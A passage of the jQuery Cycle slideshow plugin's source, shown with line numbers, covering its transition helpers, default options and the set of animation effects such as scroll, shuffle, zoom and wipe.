(v && v.indexOf('rgb') >= 0 ) { 964 var rgb = v.match(/\d+/g); 965 return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]); 966 } 967 if (v && v != 'transparent') 968 return v; 969 } 970 return '#ffffff'; 971 }; 972 $slides.each(function() { $(this).css('background-color', getBg(this)); }); 973}; 974 975// reset common props before the next transition 976$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) { 977 $(opts.elements).not(curr).hide(); 978 if (typeof opts.cssBefore.opacity == 'undefined') 979 opts.cssBefore.opacity = 1; 980 opts.cssBefore.display = 'block'; 981 if (opts.slideResize && w !== false && next.cycleW > 0) 982 opts.cssBefore.width = next.cycleW; 983 if (opts.slideResize && h !== false && next.cycleH > 0) 984 opts.cssBefore.height = next.cycleH; 985 opts.cssAfter = opts.cssAfter || {}; 986 opts.cssAfter.display = 'none'; 987 $(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0)); 988 $(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1)); 989}; 990 991// the actual fn for effecting a transition 992$.fn.cycle.custom = function(curr, next, opts, cb, fwd, speedOverride) { 993 var $l = $(curr), $n = $(next); 994 var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut; 995 $n.css(opts.cssBefore); 996 if (speedOverride) { 997 if (typeof speedOverride == 'number') 998 speedIn = speedOut = speedOverride; 999 else 1000 speedIn = speedOut = 1; 1001 easeIn = easeOut = null; 1002 } 1003 var fn = function() { 1004 $n.animate(opts.animIn, speedIn, easeIn, function() { 1005 cb(); 1006 }); 1007 }; 1008 $l.animate(opts.animOut, speedOut, easeOut, function() { 1009 $l.css(opts.cssAfter); 1010 if (!opts.sync) 1011 fn(); 1012 }); 1013 if (opts.sync) fn(); 1014}; 1015 1016// transition definitions - only fade is defined here, transition pack defines the rest 1017$.fn.cycle.transitions = { 1018 fade: function($cont, $slides, opts) { 1019 $slides.not(':eq('+opts.currSlide+')').css('opacity',0); 1020 opts.before.push(function(curr,next,opts) { 1021 $.fn.cycle.commonReset(curr,next,opts); 1022 opts.cssBefore.opacity = 0; 1023 }); 1024 opts.animIn = { opacity: 1 }; 1025 opts.animOut = { opacity: 0 }; 1026 opts.cssBefore = { top: 0, left: 0 }; 1027 } 1028}; 1029 1030$.fn.cycle.ver = function() { return ver; }; 1031 1032// override these globally if you like (they are all optional) 1033$.fn.cycle.defaults = {
1034 activePagerClass: 'activeSlide', // class name used for the active pager link 1035 after: null, // transition callback (scope set to element that was shown): function(currSlideElement, nextSlideElement, options, forwardFlag) 1036 allowPagerClickBubble: false, // allows or prevents click event on pager anchors from bubbling 1037 animIn: null, // properties that define how the slide animates in 1038 animOut: null, // properties that define how the slide animates out 1039 aspect: false, // preserve aspect ratio during fit resizing, cropping if necessary (must be used with fit option) 1040 autostop: 0, // true to end slideshow after X transitions (where X == slide count) 1041 autostopCount: 0, // number of transitions (optionally used with autostop to define X) 1042 backwards: false, // true to start slideshow at last slide and move backwards through the stack 1043 before: null, // transition callback (scope set to element to be shown): function(currSlideElement, nextSlideElement, options, forwardFlag) 1044 center: null, // set to true to have cycle add top/left margin to each slide (use with width and height options) 1045 cleartype: !$.support.opacity, // true if clearType corrections should be applied (for IE) 1046 cleartypeNoBg: false, // set to true to disable extra cleartype fixing (leave false to force background color setting on slides) 1047 containerResize: 1, // resize container to fit largest slide 1048 continuous: 0, // true to start next transition immediately after current one completes 1049 cssAfter: null, // properties that defined the state of the slide after transitioning out 1050 cssBefore: null, // properties that define the initial state of the slide before transitioning in 1051 delay: 0, // additional delay (in ms) for first transition (hint: can be negative) 1052 easeIn: null, // easing for "in" transition 1053 easeOut: null, // easing for "out" transition 1054 easing: null, // easing method for both in and out transitions 1055 end: null, // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options) 1056 fastOnEvent: 0, // force fast transitions when triggered manually (via pager or prev/next); value == time in ms 1057 fit: 0, // force slides to fit container 1058 fx: 'fade', // name of transition effect (or comma separated names, ex: 'fade,scrollUp,shuffle') 1059 fxFn: null, // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag) 1060 height: 'auto', // container height (if the 'fit' option is true, the slides will be set to this height as well) 1061 manualTrump: true, // causes manual transition to stop an active transition instead of being ignored 1062 metaAttr: 'cycle',// data- attribute that holds the option data for the slideshow 1063 next: null, // element, jQuery object, or jQuery selector string for the element to use as event trigger for next slide 1064 nowrap: 0, // true to prevent slideshow from wrapping 1065 onPagerEvent: null, // callback fn for pager events: function(zeroBasedSlideIndex, slideElement) 1066 onPrevNextEvent: null,// callback fn for prev/next events: function(isNext, zeroBasedSlideIndex, slideElement) 1067 pager: null, // element, jQuery object, or jQuery selector string for the element to use as pager container 1068 pagerAnchorBuilder: null, // callback fn for building anchor links: function(index, DOMelement) 1069 pagerEvent: 'click.cycle', // name of event which drives the pager navigation 1070 pause: 0, // true to enable "pause on hover" 1071 pauseOnPagerHover: 0, // true to pause when hovering over pager link 1072 prev: null, // element, jQuery object, or jQuery selector string for the element to use as event trigger for previous slide 1073 prevNextEvent:'click.cycle',// event which drives the manual transition to the previous or next slide 1074 random: 0, // true for random, false for sequence (not applicable to shuffle fx) 1075 randomizeEffects: 1, // valid when multiple effects are used; true to make the effect sequence random 1076 requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded 1077 requeueTimeout: 250, // ms delay for requeue 1078 rev: 0, // causes animations to transition in reverse (for effects that support it such as scrollHorz/scrollVert/shuffle) 1079 shuffle: null, // coords for shuffle animation, ex: { top:15, left: 200 } 1080 skipInitializationCallbacks: false, // set to true to disable the first before/after callback that occurs prior to any transition 1081 slideExpr: null, // expression for selecting slides (if something other than all children is required) 1082 slideResize: 1, // force slide width/height to fixed size before every transition 1083 speed: 1000, // speed of the transition (any valid fx speed value) 1084 speedIn: null, // speed of the 'in' transition 1085 speedOut: null, // speed of the 'out' transition 1086 startingSlide: undefined, // zero-based index of the first slide to be displayed 1087 sync: 1, // true if in/out transitions should occur simultaneously 1088 timeout: 4000, // milliseconds between slide transitions (0 to disable auto advance) 1089 timeoutFn: null, // callback for determining per-slide timeout value: function(currSlideElement, nextSlideElement, options, forwardFlag) 1090 updateActivePagerLink: null, // callback fn invoked to update the active pager link (adds/removes activePagerClass style) 1091 width: null // container width (if the 'fit' option is true, the slides will be set to this width as well) 1092}; 1093 1094})(jQuery); 1095 1096 1097/*! 1098 * jQuery Cycle Plugin Transition Definitions 1099 * This script is a plugin for the jQuery Cycle Plugin 1100 * Examples and documentation at: http://malsup.com/jquery/cycle/ 1101 * Copyright (c) 2007-2010 M. Alsup 1102 * Version: 2.73 1103 * Dual licensed under the MIT and GPL licenses: 1104 * http://www.opensource.org/licenses/mit-license.php 1105 * http://www.gnu.org/licenses/gpl.html 1106 */ 1107(function($) { 1108 1109// 1110// These functions define slide initialization and properties for the named 1111// transitions. To save file size feel free to remove any of these that you 1112// don't need. 1113// 1114$.fn.cycle.transitions.none = function($cont, $slides, opts) { 1115 opts.fxFn = function(curr,next,opts,after){
1116 $(next).show(); 1117 $(curr).hide(); 1118 after(); 1119 }; 1120}; 1121 1122// not a cross-fade, fadeout only fades out the top slide 1123$.fn.cycle.transitions.fadeout = function($cont, $slides, opts) { 1124 $slides.not(':eq('+opts.currSlide+')').css({ display: 'block', 'opacity': 1 }); 1125 opts.before.push(function(curr,next,opts,w,h,rev) { 1126 $(curr).css('zIndex',opts.slideCount + (!rev === true ? 1 : 0)); 1127 $(next).css('zIndex',opts.slideCount + (!rev === true ? 0 : 1)); 1128 }); 1129 opts.animIn.opacity = 1; 1130 opts.animOut.opacity = 0; 1131 opts.cssBefore.opacity = 1; 1132 opts.cssBefore.display = 'block'; 1133 opts.cssAfter.zIndex = 0; 1134}; 1135 1136// scrollUp/Down/Left/Right 1137$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) { 1138 $cont.css('overflow','hidden'); 1139 opts.before.push($.fn.cycle.commonReset); 1140 var h = $cont.height(); 1141 opts.cssBefore.top = h; 1142 opts.cssBefore.left = 0; 1143 opts.cssFirst.top = 0; 1144 opts.animIn.top = 0; 1145 opts.animOut.top = -h; 1146}; 1147$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) { 1148 $cont.css('overflow','hidden'); 1149 opts.before.push($.fn.cycle.commonReset); 1150 var h = $cont.height(); 1151 opts.cssFirst.top = 0; 1152 opts.cssBefore.top = -h; 1153 opts.cssBefore.left = 0; 1154 opts.animIn.top = 0; 1155 opts.animOut.top = h; 1156}; 1157$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) { 1158 $cont.css('overflow','hidden'); 1159 opts.before.push($.fn.cycle.commonReset); 1160 var w = $cont.width(); 1161 opts.cssFirst.left = 0; 1162 opts.cssBefore.left = w; 1163 opts.cssBefore.top = 0; 1164 opts.animIn.left = 0; 1165 opts.animOut.left = 0-w; 1166}; 1167$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) { 1168 $cont.css('overflow','hidden'); 1169 opts.before.push($.fn.cycle.commonReset); 1170 var w = $cont.width(); 1171 opts.cssFirst.left = 0; 1172 opts.cssBefore.left = -w; 1173 opts.cssBefore.top = 0; 1174 opts.animIn.left = 0; 1175 opts.animOut.left = w; 1176}; 1177$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) { 1178 $cont.css('overflow','hidden').width(); 1179 opts.before.push(function(curr, next, opts, fwd) { 1180 if (opts.rev) 1181 fwd = !fwd; 1182 $.fn.cycle.commonReset(curr,next,opts); 1183 opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW); 1184 opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW; 1185 }); 1186 opts.cssFirst.left = 0; 1187 opts.cssBefore.top = 0; 1188 opts.animIn.left = 0; 1189 opts.animOut.top = 0; 1190}; 1191$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) { 1192 $cont.css('overflow','hidden'); 1193 opts.before.push(function(curr, next, opts, fwd) { 1194 if (opts.rev) 1195 fwd = !fwd; 1196 $.fn.cycle.commonReset(curr,next,opts); 1197 opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1); 1198 opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH; 1199 }); 1200 opts.cssFirst.top = 0; 1201 opts.cssBefore.left = 0; 1202 opts.animIn.top = 0; 1203 opts.animOut.left = 0; 1204}; 1205 1206// slideX/slideY 1207$.fn.cycle.transitions.slideX = function($cont, $slides, opts) { 1208 opts.before.push(function(curr, next, opts) { 1209 $(opts.elements).not(curr).hide(); 1210 $.fn.cycle.commonReset(curr,next,opts,false,true); 1211 opts.animIn.width = next.cycleW; 1212 }); 1213 opts.cssBefore.left = 0; 1214 opts.cssBefore.top = 0; 1215 opts.cssBefore.width = 0; 1216 opts.animIn.width = 'show'; 1217 opts.animOut.width = 0; 1218}; 1219$.fn.cycle.transitions.slideY = function($cont, $slides, opts) { 1220 opts.before.push(function(curr, next, opts) { 1221 $(opts.elements).not(curr).hide(); 1222 $.fn.cycle.commonReset(curr,next,opts,true,false); 1223 opts.animIn.height = next.cycleH; 1224 }); 1225 opts.cssBefore.left = 0; 1226 opts.cssBefore.top = 0; 1227 opts.cssBefore.height = 0; 1228 opts.animIn.height = 'show'; 1229 opts.animOut.height = 0; 1230}; 1231 1232// shuffle 1233$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) { 1234 var i, w = $cont.css('overflow', 'visible').width(); 1235 $slides.css({left: 0, top: 0}); 1236 opts.before.push(function(curr,next,opts) { 1237 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1238 }); 1239 // only adjust speed once! 1240 if (!opts.speedAdjusted) { 1241 opts.speed = opts.speed / 2; // shuffle has 2 transitions 1242 opts.speedAdjusted = true; 1243 } 1244 opts.random = 0; 1245 opts.shuffle = opts.shuffle || {left:-w, top:15}; 1246 opts.els = []; 1247 for (i=0; i < $slides.length; i++) 1248 opts.els.push($slides[i]); 1249 1250 for (i=0; i < opts.currSlide; i++) 1251 opts.els.push(opts.els.shift()); 1252 1253 // custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!) 1254 opts.fxFn = function(curr, next, opts, cb, fwd) { 1255 if (opts.rev) 1256 fwd = !fwd; 1257 var $el = fwd ? $(curr) : $(next); 1258 $(next).css(opts.cssBefore); 1259 var count = opts.slideCount; 1260 $el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() { 1261 var hops = $.fn.cycle.hopsFromLast(opts, fwd); 1262 for (var k=0; k < hops; k++) 1263 fwd ? opts.els.push(opts.els.shift()) : opts.els.unshift(opts.els.pop()); 1264 if (fwd) { 1265 for (var i=0, len=opts.els.length; i < len; i++) 1266 $(opts.els[i]).css('z-index', len-i+count); 1267 } 1268 else { 1269 var z = $(curr).css('z-index'); 1270 $el.css('z-index', parseInt(z,10)+1+count); 1271 } 1272 $el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
1273 $(fwd ? this : curr).hide(); 1274 if (cb) cb(); 1275 }); 1276 }); 1277 }; 1278 $.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 }); 1279}; 1280 1281// turnUp/Down/Left/Right 1282$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) { 1283 opts.before.push(function(curr, next, opts) { 1284 $.fn.cycle.commonReset(curr,next,opts,true,false); 1285 opts.cssBefore.top = next.cycleH; 1286 opts.animIn.height = next.cycleH; 1287 opts.animOut.width = next.cycleW; 1288 }); 1289 opts.cssFirst.top = 0; 1290 opts.cssBefore.left = 0; 1291 opts.cssBefore.height = 0; 1292 opts.animIn.top = 0; 1293 opts.animOut.height = 0; 1294}; 1295$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) { 1296 opts.before.push(function(curr, next, opts) { 1297 $.fn.cycle.commonReset(curr,next,opts,true,false); 1298 opts.animIn.height = next.cycleH; 1299 opts.animOut.top = curr.cycleH; 1300 }); 1301 opts.cssFirst.top = 0; 1302 opts.cssBefore.left = 0; 1303 opts.cssBefore.top = 0; 1304 opts.cssBefore.height = 0; 1305 opts.animOut.height = 0; 1306}; 1307$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) { 1308 opts.before.push(function(curr, next, opts) { 1309 $.fn.cycle.commonReset(curr,next,opts,false,true); 1310 opts.cssBefore.left = next.cycleW; 1311 opts.animIn.width = next.cycleW; 1312 }); 1313 opts.cssBefore.top = 0; 1314 opts.cssBefore.width = 0; 1315 opts.animIn.left = 0; 1316 opts.animOut.width = 0; 1317}; 1318$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) { 1319 opts.before.push(function(curr, next, opts) { 1320 $.fn.cycle.commonReset(curr,next,opts,false,true); 1321 opts.animIn.width = next.cycleW; 1322 opts.animOut.left = curr.cycleW; 1323 }); 1324 $.extend(opts.cssBefore, { top: 0, left: 0, width: 0 }); 1325 opts.animIn.left = 0; 1326 opts.animOut.width = 0; 1327}; 1328 1329// zoom 1330$.fn.cycle.transitions.zoom = function($cont, $slides, opts) { 1331 opts.before.push(function(curr, next, opts) { 1332 $.fn.cycle.commonReset(curr,next,opts,false,false,true); 1333 opts.cssBefore.top = next.cycleH/2; 1334 opts.cssBefore.left = next.cycleW/2; 1335 $.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH }); 1336 $.extend(opts.animOut, { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 }); 1337 }); 1338 opts.cssFirst.top = 0; 1339 opts.cssFirst.left = 0; 1340 opts.cssBefore.width = 0; 1341 opts.cssBefore.height = 0; 1342}; 1343 1344// fadeZoom 1345$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) { 1346 opts.before.push(function(curr, next, opts) { 1347 $.fn.cycle.commonReset(curr,next,opts,false,false); 1348 opts.cssBefore.left = next.cycleW/2; 1349 opts.cssBefore.top = next.cycleH/2; 1350 $.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH }); 1351 }); 1352 opts.cssBefore.width = 0; 1353 opts.cssBefore.height = 0; 1354 opts.animOut.opacity = 0; 1355}; 1356 1357// blindX 1358$.fn.cycle.transitions.blindX = function($cont, $slides, opts) { 1359 var w = $cont.css('overflow','hidden').width(); 1360 opts.before.push(function(curr, next, opts) { 1361 $.fn.cycle.commonReset(curr,next,opts); 1362 opts.animIn.width = next.cycleW; 1363 opts.animOut.left = curr.cycleW; 1364 }); 1365 opts.cssBefore.left = w; 1366 opts.cssBefore.top = 0; 1367 opts.animIn.left = 0; 1368 opts.animOut.left = w; 1369}; 1370// blindY 1371$.fn.cycle.transitions.blindY = function($cont, $slides, opts) { 1372 var h = $cont.css('overflow','hidden').height(); 1373 opts.before.push(function(curr, next, opts) { 1374 $.fn.cycle.commonReset(curr,next,opts); 1375 opts.animIn.height = next.cycleH; 1376 opts.animOut.top = curr.cycleH; 1377 }); 1378 opts.cssBefore.top = h; 1379 opts.cssBefore.left = 0; 1380 opts.animIn.top = 0; 1381 opts.animOut.top = h; 1382}; 1383// blindZ 1384$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) { 1385 var h = $cont.css('overflow','hidden').height(); 1386 var w = $cont.width(); 1387 opts.before.push(function(curr, next, opts) { 1388 $.fn.cycle.commonReset(curr,next,opts); 1389 opts.animIn.height = next.cycleH; 1390 opts.animOut.top = curr.cycleH; 1391 }); 1392 opts.cssBefore.top = h; 1393 opts.cssBefore.left = w; 1394 opts.animIn.top = 0; 1395 opts.animIn.left = 0; 1396 opts.animOut.top = h; 1397 opts.animOut.left = w; 1398}; 1399 1400// growX - grow horizontally from centered 0 width 1401$.fn.cycle.transitions.growX = function($cont, $slides, opts) { 1402 opts.before.push(function(curr, next, opts) { 1403 $.fn.cycle.commonReset(curr,next,opts,false,true); 1404 opts.cssBefore.left = this.cycleW/2; 1405 opts.animIn.left = 0; 1406 opts.animIn.width = this.cycleW; 1407 opts.animOut.left = 0; 1408 }); 1409 opts.cssBefore.top = 0; 1410 opts.cssBefore.width = 0; 1411}; 1412// growY - grow vertically from centered 0 height 1413$.fn.cycle.transitions.growY = function($cont, $slides, opts) { 1414 opts.before.push(function(curr, next, opts) { 1415 $.fn.cycle.commonReset(curr,next,opts,true,false); 1416 opts.cssBefore.top = this.cycleH/2; 1417 opts.animIn.top = 0; 1418 opts.animIn.height = this.cycleH; 1419 opts.animOut.top = 0; 1420 }); 1421 opts.cssBefore.height = 0; 1422 opts.cssBefore.left = 0; 1423}; 1424 1425// curtainX - squeeze in both edges horizontally 1426$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) { 1427 opts.before.push(function(curr, next, opts) { 1428 $.fn.cycle.commonReset(curr,next,opts,false,true,true); 1429 opts.cssBefore.left = next.cycleW/2; 1430 opts.animIn.left = 0; 1431 opts.animIn.width = this.cycleW; 1432 opts.animOut.left = curr.cycleW/2; 1433 opts.animOut.width = 0; 1434 }); 1435 opts.cssBefore.top = 0; 1436 opts.cssBefore.width = 0; 1437}; 1438// curtainY - squeeze in both edges vertically 1439$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) { 1440 opts.before.push(function(curr, next, opts) { 1441 $.fn.cycle.commonReset(curr,next,opts,true,false,true); 1442 opts.cssBefore.top = next.cycleH/2; 1443 opts.animIn.top = 0; 1444 opts.animIn.height = next.cycleH; 1445 opts.animOut.top = curr.cycleH/2; 1446 opts.animOut.height = 0; 1447 }); 1448 opts.cssBefore.height = 0; 1449 opts.cssBefore.left = 0; 1450}; 1451 1452// cover - curr slide covered by next slide 1453$.fn.cycle.transitions.cover = function($cont, $slides, opts) { 1454 var d = opts.direction || 'left'; 1455 var w = $cont.css('overflow','hidden').width(); 1456 var h = $cont.height(); 1457 opts.before.push(function(curr, next, opts) { 1458 $.fn.cycle.commonReset(curr,next,opts); 1459 if (d == 'right') 1460 opts.cssBefore.left = -w; 1461 else if (d == 'up') 1462 opts.cssBefore.top = h; 1463 else if (d == 'down') 1464 opts.cssBefore.top = -h; 1465 else 1466 opts.cssBefore.left = w; 1467 }); 1468 opts.animIn.left = 0; 1469 opts.animIn.top = 0; 1470 opts.cssBefore.top = 0; 1471 opts.cssBefore.left = 0; 1472}; 1473 1474// uncover - curr slide moves off next slide 1475$.fn.cycle.transitions.uncover = function($cont, $slides, opts) { 1476 var d = opts.direction || 'left'; 1477 var w = $cont.css('overflow','hidden').width(); 1478 var h = $cont.height(); 1479 opts.before.push(function(curr, next, opts) { 1480 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1481 if (d == 'right') 1482 opts.animOut.left = w; 1483 else if (d == 'up') 1484 opts.animOut.top = -h; 1485 else if (d == 'down') 1486 opts.animOut.top = h; 1487 else 1488 opts.animOut.left = -w; 1489 }); 1490 opts.animIn.left = 0; 1491 opts.animIn.top = 0; 1492 opts.cssBefore.top = 0; 1493 opts.cssBefore.left = 0; 1494}; 1495 1496// toss - move top slide and fade away 1497$.fn.cycle.transitions.toss = function($cont, $slides, opts) { 1498 var w = $cont.css('overflow','visible').width(); 1499 var h = $cont.height(); 1500 opts.before.push(function(curr, next, opts) { 1501 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1502 // provide default toss settings if animOut not provided 1503 if (!opts.animOut.left && !opts.animOut.top) 1504 $.extend(opts.animOut, { left: w*2, top: -h/2, opacity: 0 }); 1505 else 1506 opts.animOut.opacity = 0; 1507 }); 1508 opts.cssBefore.left = 0; 1509 opts.cssBefore.top = 0; 1510 opts.animIn.left = 0; 1511}; 1512 1513// wipe - clip animation 1514$.fn.cycle.transitions.wipe = function($cont, $slides, opts) { 1515 var w = $cont.css('overflow','hidden').width(); 1516 var h = $cont.height(); 1517 opts.cssBefore = opts.cssBefore || {}; 1518 var clip; 1519 if (opts.clip) { 1520 if (/l2r/.test(opts.clip)) 1521 clip = 'rect(0px 0px '+h+'px 0px)'; 1522 else if (/r2l/.test(opts.clip)) 1523 clip = 'rect(0px '+w+'px '+h+'px '+w+'px)'; 1524 else if (/t2b/.test(opts.clip)) 1525 clip = 'rect(0px '+w+'px 0px 0px)'; 1526 else if (/b2t/.test(opts.clip)) 1527 clip = 'rect('+h+'px '+w+'px '+h+'px 0px)'; 1528 else if (/zoom/.test(opts.clip)) { 1529 var top = parseInt(h/2,10); 1530 var left = parseInt(w/2,10); 1531 clip = 'rect('+top+'px '+left+'px '+top+'px '+left+'px)'; 1532 } 1533 } 1534 1535 opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)'; 1536 1537 var d = opts.cssBefore.clip.match(/(\d+)/g); 1538 var t = parseInt(d[0],10), r = parseInt(d[1],10), b = parseInt(d[2],10), l = parseInt(d[3],10); 1539 1540 opts.before.push(function(curr, next, opts) { 1541 if (curr == next) return; 1542 var $curr = $(curr), $next = $(next); 1543 $.fn.cycle.commonReset(curr,next,opts,true,true,false); 1544 opts.cssAfter.display = 'block'; 1545 1546 var step = 1, count = parseInt((opts.speedIn / 13),10) - 1; 1547 (function f() { 1548 var tt = t ? t - parseInt(step * (t/count),10) : 0; 1549 var ll = l ? l - parseInt(step * (l/count),10) : 0; 1550 var bb = b < h ? b + parseInt(step * ((h-b)/count || 1),10) : h; 1551 var rr = r < w ? r + parseInt(step * ((w-r)/count || 1),10) : w; 1552 $next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' }); 1553 (step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none'); 1554 })();
1555 }); 1556 $.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 }); 1557 opts.animIn = { left: 0 }; 1558 opts.animOut = { left: 0 }; 1559}; 1560 1561})(jQuery);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.